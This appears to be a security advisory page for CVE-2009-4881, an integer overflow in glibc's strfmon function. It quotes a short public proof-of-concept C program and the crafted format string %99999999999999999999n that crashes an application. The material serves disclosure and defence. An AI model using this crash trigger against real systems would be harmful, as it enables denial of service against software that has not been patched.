CVE-2009-4881: Integer Overflow

First published: Tue Mar 25 2008(Updated: )

Common Vulnerabilities and Exposures assigned an identifier <a href="https://access.redhat.com/security/cve/CVE-2009-4881">CVE-2009-4881</a> to the following vulnerability: Integer overflow in the __vstrfmon_l function in stdlib/strfmon_l.c in the strfmon implementation in the GNU C Library (aka glibc or libc6) before 2.10.1 allows context-dependent attackers to cause a denial of service (application crash) via a crafted format string, as demonstrated by the %99999999999999999999n string, a related issue to <a href="https://access.redhat.com/security/cve/CVE-2008-1391">CVE-2008-1391</a>. References: [1] <a href="http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600">http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600</a> [2] <a href="http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f">http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f</a> [3] <a href="http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600">http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600</a> [4] <a href="http://securityreason.com/achievement_securityalert/53">http://securityreason.com/achievement_securityalert/53</a> [5] <a href="http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/">http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/</a> Public PoC (from [4]): #include &lt;stdio.h&gt; #include &lt;monetary.h&gt; int main(int argc, char* argv[]){ char buff[51]; char *bux=buff; int res; res=strfmon(bux, 50, argv[1], "0"); return 0; } cxib# ./pln %99999999999999999999n

Credit: cve@mitre.org cve@mitre.org

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